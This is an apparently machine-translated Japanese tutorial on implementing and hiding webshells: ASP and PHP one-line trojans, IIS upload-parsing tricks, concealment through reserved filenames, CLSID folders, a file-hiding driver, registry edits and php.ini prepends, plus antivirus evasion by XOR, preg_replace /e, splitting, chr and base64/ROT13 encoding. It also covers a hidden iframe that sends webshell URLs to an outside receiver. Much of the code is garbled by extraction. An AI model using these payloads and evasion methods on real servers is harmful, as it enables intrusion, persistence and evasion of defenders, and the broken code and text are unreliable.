ホームページ  >  記事  >  バックエンド開発  >  Webshel​​l の実装と隠蔽の研究

Webshel​​l の実装と隠蔽の研究

WBOY
WBOYオリジナル
2016-08-08 09:21:222398ブラウズ

1. webshel​​l とは

  1. webshel​​l の紹介

webshel​​l は、名前が示すように、web は Web サーバーを指し、シェルはスクリプト言語で書かれたスクリプト プログラムです。Webshel​​l は、Web 用の管理ツールです。 Web を制御できる サーバーを操作する権限。Webadmin とも呼ばれます。 Webshel​​l は通常、Web サイト管理者が Web サイト管理やサーバー管理などに使用します。ただし、WebShell は比較的強力であるため、ファイルのアップロードとダウンロード、データベースの表示、さらにはサーバー上で一部のシステム関連コマンド (ユーザーの作成など) を呼び出すこともできます。 、ファイルの変更や削除など)、ハッカーは通常、いくつかのアップロード方法を使用して、作成した Web シェルを Web サーバー ページのディレクトリにアップロードし、ページ アクセスを通じて侵入するか、挿入してローカル コンピューターに接続します。一部の関連ツールは、サーバー上で直接侵入操作を実行します。

  1. Webシェルの分類
Webシェルは、PHPスクリプト型トロイの木馬、ASPスクリプト型トロイの木馬、.NETベースのスクリプト型トロイの木馬、およびスクリプトに基づくJSPスクリプト型トロイの木馬に分類できます。海外ではPythonスクリプト言語で書かれた動的Webページもあり、もちろんそれに関連するWebシェルもあります。
機能に応じて、Xiaoma は通常、次のような 1 文のトロイの木馬を指します。通常、この文は次のように記述されます。ドキュメント、ファイルの順に名前が xx.asp に変更されます。次に、それをサーバーに送信します。ここで、 eval メソッドは request("pass") をコード実行に変換します。 request 関数の機能は、外部ファイルを適用することです。これは、一文のトロイの木馬のクライアント構成に相当します。サーバー構成 (つまり、ローカル構成):

Default



<入力タイプ = 送信値 = 送信 9

10

11value

ここで、トロイの木馬はフォームを送信することで送信されます。具体的な方法は、オブジェクトIPを定義し、その内容をテキストモードでnewvalueに書き込み(newvalueの内容はtextareaで定義されます)、上書きするように書き込みます。このメソッドは ASP ファイルを生成し、このスクリプトを実行します。クライアントの値はフォームの名前を表し、サーバー (ローカル マシン) の送信後のフォーム名と同じである必要があるため、ここでの値はパスワードなどに相当する任意の文字にすることができます。 , しかし、この「パスワード」はクリアテキストであり、傍受される可能性があります。 PHP の 1 文の原則は上記の原則と似ています。つまり、言語の違いにより構文が異なります。これが基本的にポニーの仕組みです。

Da Ma の動作モードは、クライアントとサーバーの間に違いはありません。一部のスクリプト専門家は、サーバー側の 1 文のトロイの木馬を直接統合し、アップロードの脆弱性を利用して Da Ma をアップロードし、その後、大きなファイルをコピーしました。 horse。horse の URL アドレスに直接アクセスして、ページ上の Web サーバーに侵入作業を実行します。ただし、Da Ma には多くの機能があるため、ファイルのアップロードに厳しい制限が設けられている Web サイトもあり、そのサイズは Web サイトのアップロード制限を超える可能性があります。ただし、Da Ma のサイズは制御できます。コードを何度もアップロードしたり、文字化けしたファイルにコードを挿入したりする必要がありますが、Xiaoma の操作はより面倒です。最初に Xiaoma をアップロードして Web シェルを取得し、次に Xiaoma をアップロードして Xiaoma の接続を介してサーバーを取得することができます。

2. WebShell のアップロード方法

1. アップロード解析の脆弱性

現在、Windows 側の主流は iis であり、Linux 側の主流はさまざまです。 nginxです。これらのサービスは Web サーバーの構築に非常に役立ちますが、サーバーに隠れた危険ももたらします。これらのサーバーには、ハッカーによって簡単に悪用される可能性のある脆弱性がいくつかあります。

(1)iis ディレクトリ解析の脆弱性

例: /xx.asp/xx.jpg

JPG ファイルがアップロードされても、ファイルが xx.asp フォルダーにある場合、iis は画像ファイルを次のように扱います。 xx.asp 分析によると、この脆弱性は iis5.x/6.0 バージョンに存在します。

(2) ファイル解析の脆弱性

例: xx.asp;.jpg。 Web ページがアップロードされると、jpg ファイルは認識されますが、iis はアップロード後にそのファイルを解析せず、後続の文字もファイルを asp ファイルに解析します。この脆弱性は iis5.x/6.0 バージョンに存在します。

(3) ファイル名解析

例:xx.cer/xx.cdx/xx.asa。 iis6.0では、cerファイル、cdxファイル、asaファイルは実行ファイルとして扱われ、中のaspコードも実行されます。 (asa ファイルは ASP 固有の構成ファイルであり、cer は証明書ファイルです)。

(4)fast-CGI解析の脆弱性

Webサーバーがfast-CGIをオンにすると、画像xx.jpgをアップロードします。内容は次のとおりです:

Default

12

13

14

15

16

17

18

<
フォーム

action
=

http
:

//host path/TEXT.asp method=post>
<
textarea

name

=
cols

=

120 =10=45>

set lP=server.createObject( "Adod​​b.Stream ")//ストリーム オブジェクトを作成しますlP.Open

//Open

LP.タイプ =2 //テキストモードの場合

lP.CharSet="gb2312"//フォント標準

lPテキストを書く リクエスト( "新しい値")

lP.SaveToFile server.mappath("newmm.asp"),2//ファイルを上書きして、トロイの木馬のコンテンツを newmm.asp に書き込みます。2 は上書きされるメソッドです

lP. Close//オブジェクトを閉じる

lP=何も//オブジェクトを解放する

response.redirect"newmm.asp"// newmm.asp

< ;

/テキストエリア> <

textarea

name=newvalue cols=120rows=10width=45> ) <

/

textarea><

BR

><

センター

> ;<

br

><

入力

タイプ=送信=送信>

1

c:>copy3.asp.C:aux.asp

file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image020.png

file:///C:UsersSAKAIY~1 DataLocalTempmsohtmlclip11clip_image022.jpg
がCドライブに作成されました補助ASP。このファイルはグラフィカル インターフェイスでは削除できません。
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image023.png
削除するには、delコマンドを使用する必要があります。
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image024.png
削除後にプロンプ​​トは表示されませんが、ファイルは確かに消えています。
もちろん、この方法は、グラフィカル インターフェイスからは削除できない Web シェルを作成するために使用できますが、Web ページのルート ディレクトリに直接配置した場合でも、経験豊富なユーザーが見ると削除されてしまいます。ネットワーク管理者。
②clsid hidden

Windows のすべてのプログラムには clsid があります。フォルダーに x.{program clsid} という名前を付けた場合、次の 2 つのコマンドを入力します:
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image026。作成
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image027.png
クリックしてコントロールパネルに入りますが、実際にはファイルはまだフォルダーであり、その中にマレーシアがまだ存在しており、次のような名前を作成しますたとえば、ごみ箱フォルダを入力して、ごみ箱 CLSID を持つフォルダを作成し、その中に予約語をコピーすることもできます。

デフォルト

属性 +h +s +r +d/s /d

1 ファイルのプロパティを変更する一般に、Windows はデフォルトでは隠しファイルを表示せず、ごみ箱フォルダーが自動的に作成されるため、不滅の Web シェルをサーバーに隠すことができます。

属性
+

h

+s +r+d/s/d

③ドライブ隠蔽技術

原理は、Windows ファイルシステムでは、フォルダーが開かれると、システムが IRP_MJ_DIRECTORY_CONTROL 関数を送信し、そのフォルダーの下のサブフォルダーを横断するためのバッファーを割り当てることができます。バッファに保存されているファイル名を検索し、ファイル名が一致する場合、現在のフォルダーまたはファイルはバイパスされます。私の理解によれば、コードのオフセットが追加されます。ターゲット ファイルをクエリするときに、トラバースされたポインタに基づいてファイルを検索し、ターゲット フォルダをスキャンせずに直接スキップします。

この技術の実装については、インターネット上に多くの C ソース コードがありますが、ヘッダー ファイルのサポートやシステムのサポート (システムによってファイル システムが異なるため) のため、操作は簡単であることがわかりました。インターネット上 File Locker プログラムを Web サーバーにインストールし、ターゲット ファイルにアクセス許可を設定する必要があります。

デフォルト

file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image028.png

1 :

ファイル
///C:ユーザーSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image028.png


権限設定には、読み取り可能、書き込み可能、​​削除可能、表示可能が含まれます。

デフォルト

1

ファイル:///C: UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image030.jpg


上の図では、トラバーサルが直接バイパスされているため、絶対パスにアクセスできることがわかります。私の理解は次のとおりです。

デフォルト

WINDOWS

xlkfs

.datasp にはステートメント が含まれており、パスを直接入力します。ファイル パスは Web サーバー上のパスです。 Webmaster Stopを使用して、NTFSストリームポニーの文を画像に書き込むと、パスに「:」が表示されなくなり、画像が表示されなくなります。 Web サーバー上の ASP ファイルに移動し、ファイルの先頭に include ステートメント

php include ステートメント:

Default

1

include($include

)

;

?>

c:
WINDOWS

xlkfs .dllc :WIND OWS

xlkfs.ini c:WINDOWS

system32ドライバーxlkfs.sys

これらの 4 つのファイルは、隠しファイルにアクセスするためのトラバーサル クエリを置き換えます。絶対パスを入力しても絶対パス クエリは適用されませんが、上記の 4 つのファイルを通じてクエリを実行します。これは、作成するのと同等です。隠しファイル用の別のドライバー。 管理者に発見されないように、Easy FileLocker プログラムは削除できますが、上記 4 つのファイルは削除できません。プログラムを削除した後も、絶対パスを入力することでアクセスでき、バックドアを非表示にする機能が実現します④レジストリの非表示レジストリパス: HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionexplorer\AdvancedFolderHiddenSHOWALLこのパスの下にCheckedValueキーがありますので、これを 0 に変更します。 CheckValue キーがない場合は、直接作成して値 0 を割り当てます。これにより、フォルダー オプションで [すべてのファイルを表示] がオンになっている場合でも、作成された隠しファイルは完全に非表示になります。は表示されません。 (2) ワンセンテンス型トロイの木馬の隠蔽①ヘッダーファイルのインクルード隠蔽

ウェブ上の一部のスクリプトファイルには、このページにアクセスする際に、このインクルード方法を使用してワンセンテンスファイルをインクルードすることができます。これらの文は直接呼び出されます。

$include ここで、次のような外部パスを指定できます:

http://www.aaa.com/1.php?Include=http://www.bbb.com/hehe.php

This aaa 1.php の内容は

Default

1

include($include);?>

は包含を意味します。 bbb は外部サーバーです (このサーバーが PHP をサポートできない場合)。そうしないと、hehe.php (つまり、一文の馬) は bbb サーバー上で実行されますが、aaa は実行されません。

②設定ファイルの隠し文(PHP)

PHP Webシェルを取得したら、php.iniを使用してファイルを隠し、設定ファイルを編集できます。その機能の1つは、特定のファイルの内容を任意のヘッダーに追加することです。およびフッター:
auto_prepend_file =hehe.php
次に、
include_path = “E:PHPnow-1.5.6htdocs;”を見てください
この構成情報は、ヘッダーとフッターが配置されているコレクションの場所を示しています。ルールは「path1;path2」です。これは、path1 のフォルダーにあるヘッダー ファイルとフッター ファイルを path 内のファイルに追加することを意味します。これは、ここにルート パスを示す「.」があり、これを追加するのと同じです。そこにアクセスして、hehe.asp ファイルに文を書きます。php を介してヘッダー関数を追加し、その文を Web サイトのトップページに書き込むことができます。

③404 Pony

404 Pony はアクセスすると存在しない404ページが表示されますが、実際にはトロイの木馬コードが実行されています。 通常、Shiftキーを5回押すことで呼び出すことができます。

4. 強制終了を避けるための WebShell についての一文

1. 検出を回避するための構築方法 (PHP)

一般的な検出プログラムは、「_POST」、「system」、「call_user_func_array」などの文字をフィルタリングします。基本原理は、PHP の各文字がバイナリ値に対応することです。XOR メソッドを使用して、馬の 1 つの文字を 2 つの文字の XOR 値で置き換えることができます。
たとえば、コードのように

Default

@ +$ _

++

// ここで ++ let '_' 自 1

=

(
"#"

^
"|"

;

$__

=("/"^"`");

$__= ("|"^"/")" 「;;

すると、構造と文は

Default

@

$_

++;(

$__

=
"#"

^

"|").("."^"~").("/"^"`"

)

("|"^"/").("{"^ "/"); // $__ の値は _POST です @${$__}[!$_](${$__}[$_ ]) ; ?> ;

//結果は @$_POST[0 ]($POST[ 1])!$_は1の反対を表します。言語では、1は真、その逆は0(偽)を表しますしかし、このバイパス方法は、考えてみればかなり弱いです。 2文字であっても慎重に バイナリ値は "~").("/"^"`").("|"^"/").("{"^"/") " ^「〜」 ).("/"^"`" ).("|"^"/").("{"^"/")

のバイナリ値

2. 正規表現の置換方法(PHP));

は 2 回検出されます。 16 進コードの値は Kill のままです。

phpには正規表現の置換を実現できる関数preg_replace()があります。置換を使用して検出システムをバイパスするには、PHP スクリプト言語の関数機能も必要です。関数が呼び出されるときに、関数の仮パラメータに割り当てられた値にコマンドが含まれている場合、そのコマンドが実行されます。

デフォルト(.+?)/ies",'funfunc("1")', $_POST["cmd"]); ?>1234関数楽しい($str){ }echopreg_replace("/(.+?)/ies",'funfunc("1")', $_POST[

"cmd"]

?>

上記のコードは、まず空の関数を作成し、次に preg_replace 関数を使用してフォーム内の を置き換えます。 cmd を funfunc で置き換え、投稿フォームの値は
{${phpinfo()}}
(もちろんここでは phpinfo() です)他のコマンドに置き換えることもできます)、置き換えると、
funfunc({${phpinfo()}})になります
${}は{}の内容を解析できるので、ここのphpinfoも実行できますスムーズに。

3. インスタント生成方法(PHP)

ヘッダーファイルインクルードを使用する場合、インクルードされたヘッダーファイルphpをスキャナーで簡単にスキャンすることで、phpのような文章が書かれたファイルを作成できます。 。馬にアクセスする前に馬を生成しますが、この機能は機密性が高く、簡単に強制終了される可能性があります。

4. 回避方法 (ASP)

一部の ASP サーバーは一行スパムを防ぐために <%,%> をフィルタリングするため、以下を使用できます:

< ;script language =VBScriptrunat=server>リクエストの実行("cmd")

1

VBScriptrunat 機能は同じで、形を変えるだけです。 特定のスクリプト言語を避ける: aspx の一文

<

script language

=
=

サーバー

> ; request("cmd")</Script>を実行

Default

1

这里使用C#语言写一句话马。

5.拆分法(asp)

将<%eval request(“x”)%>拆分为<%Y=request(“x”)%><%eval(Y)%>,虽然绕过的可能性很小,但是也是一种绕过手法,也许有的服务器,做了很多高大上的扫描方式,但是遗漏小的问题。
还有拆分法加强版:

Default

1
2

<%IfRequest("MH")<>""ThenExecute(Request("MH"))%>

<%ifrequest("MH")<>""thensession("MH")=request("MH"):endif:ifsession("MH")<>""thenexecutesession("MH")%>

以上两句使用了if一句将其分开,中心思想将敏感字符拆分,因为一般asp特征码为eval(request或者execute(request,拆分了之后检测不到特征码,就直接绕过了。

6.乱码变形(ANSI->Unicode加密)

Default

1

<%evalrequest("#")%>变形为“┼攠數畣整爠煥敵瑳∨∣┩愾”

Default

1

eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("brute"))%&gt;

上面一行代码是采用了ascii加密的方法,chr(114)代表的是ascii中的编号为114个那个字符,即r。上述代码转换后的代码为

Default

1

<%eval(eval(request("brute"))%>

7. マレーシアのウイルス対策保護

(1) Base4code エンコード

マレーシアのウイルス対策保護は、マレーシア語コードを圧縮し、圧縮後に Base4 暗号化アルゴリズムを実行して、マレーシア語コードを追加することで圧縮できます。コードを最後に追加します

Default

1

@eval (gzinflate (base64_decode($code)));

スクリプトを実行できます。このうち $code 変数は、base4 コードを格納するために使用され、実行時に最初に gzinflate によって解凍され、eval で実行されます。実際、これを完全に強制終了から保護することはできません。base4code と eval は依然として署名リストに含まれており、スキャナーを通過するときに強制終了されると考えられます。

(2) ROT13エンコード(php)

str_rot13はphpがエンコードするために使用する関数です。たとえば、スクリプト コードをエンコードして署名検出をバイパスするために使用できます。
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image031.png
画像の strrev 関数は、署名の検出を回避するために、文字を特別に「.」記号で区切って使用しています。 。
写真の3つのstr_rot13で暗号化された文字は、順にgzinflate、str_rot13、base64_decodeとなっており、三重暗号化に相当し、gzinflateとbase64_decodeの2つの機能コードも回避されます。しかし、str_rot13 を避けることはできません。一部のウイルス対策ソフトウェアも機能コードとして str_rot13 を使用する可能性があります。
ROT13 は回転 13 になります。これは、アルファベットでの現在の文字の位置の値から 13 を引いた値が暗号化されることを意味します。 2回暗号化すると元の値に戻ります。ただし、アルゴリズムが固定されているため、暗号化強度は強くありません。そしてクラッキングの方法は非常に簡単で、片面を暗号化するだけです。

(3) その他のエンコーディング

一般に、ウイルス対策ソフトウェアやスキャナーは、マレーシア馬や小型馬のウイルス対策処理を行う場合、一言で言えば php または asp スクリプトを使用してウイルスの有無を判断します。通常、暗号化関数はスキャナー (base4、rot13 など) をバイパスするために使用できますが、独自の暗号化アルゴリズムを作成し、独自の暗号化アルゴリズムを使用してスクリプト コードを暗号化し、一部の機能コードをバイパスすることもできると思います。シーザー暗号やシフト暗号などの暗号化方法のアイデアを使用し、暗号化アルゴリズムを記述してからスクリプト コードを暗号化すると、base4 や rot3 などの機能コードが消えたり、手間をかけずに自作の暗号化を直接使用したりできます。このアルゴリズムは署名を暗号化し、使用時に復号化します。
DES や RSA などのキー暗号化アルゴリズムも使用できます。通常、マレーシアにはパスワード ログイン ボックスがあり、ログイン スクリプトのパスワードを復号キーにリンクでき、正しいパスワードを入力した場合にのみ解析できます。 . 一方で、スキャナーやウイルス対策ソフトウェアによる検出を回避するためであり、他方で、このマレーシアを他人が入手したとしても、解読してソースコードを見ることができないようにするためです。

5. WebShell のバックドアについて

一般に、オンラインでダウンロードしたマレーシア人には多かれ少なかれバックドアが存在し、これらのバックドアは私たちがダウンロードした Web サイトが他人に持ち去られることに直接つながるため、オンラインでダウンロードしたマレーシア人はまずバックドアを確認する必要があります。
たとえば、ユニバーサルパスワードは次のとおりです:

Default

1
2
3
4
5
6
7

関数

ifセッション(「へへ」)

ならリクエストフォーム(」) pass")=userpassor リクエスト.フォーム("パス")= "1111111" hThen

セッション

( "へへ" ) UserPassSS レスポンス.リダイレクトurl

こちら

デフォルト

1

リクエスト.フォーム ("pass")=userpass

は、入力されたパスの値がuserpassと等しいことを意味します。検証は成功しましたが、後で

Default

1

またはリクエスト . from(“pass”)=”1111111”


は、入力されたパス値が111であることを意味します111 1. にログインすることもできます。マレーシア。もちろん、この場所はそれほど単純ではありません。オリジナルの作成者は userpass 値を 2 つに割り当て、1 つを追加できます。 ユーザーパス変更のトリガー条件は、ログイン時にトリガーされるため (たとえば、ログインが失敗した場合、ユーザーパス値の更新がトリガーされます)、サフィックスを追加できます。 さらに、トリガー条件コードと検証コードは離れているため、現時点ではマレーシアのコードを 1 行ずつ解析する必要があります。

次に、フレームを使用して馬に乗ります:

Default

1

<iframe src=バックドアアドレス=0高さ=0>/iframe >

ここで、リンクアドレスの幅と高さを0に設定すると、ページが非表示になります。内部の「バックドア アドレス」は独自のスクリプト レシーバーを指し、最後に受信スクリプトを自分で構築したパブリック ネットワーク サーバーに配置します。受信スクリプトは次のとおりです。 %url=Request.ServerVariables("HTTP_Referer") set fs=server.CreateObject("Scripting.FileSystemObject") set file=fs.OpenTextFile(server.MapPath("hehe.txt"),8,True) ファイル.writelineurl ファイル.閉じる ファイル=何も設定しない fs=何も設定しない %>

<%

url=Request .ServerVariables

("HTTP_Referer"

)

set
fs=
server.
CreateObject (
"Scripting.FileSystemObject")

setfile=fs.OpenTextFile(server) .マップパス(「へへ.txt」 ")8

True)ファイル.

writeline

url file.closeset file=何もsetfs=何も

%>

where

Default

1

url=リクエスト.ServerVariables("HTTP_Referer")

は、コンテンツに対して要求された文字、つまりマレーシアのURLアドレスを表します。そして URL アドレスディレクトリの現在の hehe.txt に保存されます。

この種のバックドアを提案するには、まずマレーシアの 2 番目のタイプのパスワード認証であるマスター パスワードを破棄する必要があります。該当する機能コードを削除し、ASP Malaysiaのページにwidth=0 height=0などの隠しURLがないか確認し、見つけて削除してください。

上記は、Webshel​​l の実装と隠された探索についての側面を含めて紹介したもので、PHP チュートリアルに興味のある友人に役立つことを願っています。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
前の記事:PHP は、IP (127001 など) と複数のドメイン名 (仮想ホスト) のバインドを実現します。次の記事:PHP は、IP (127001 など) と複数のドメイン名 (仮想ホスト) のバインドを実現します。

関連記事

続きを見る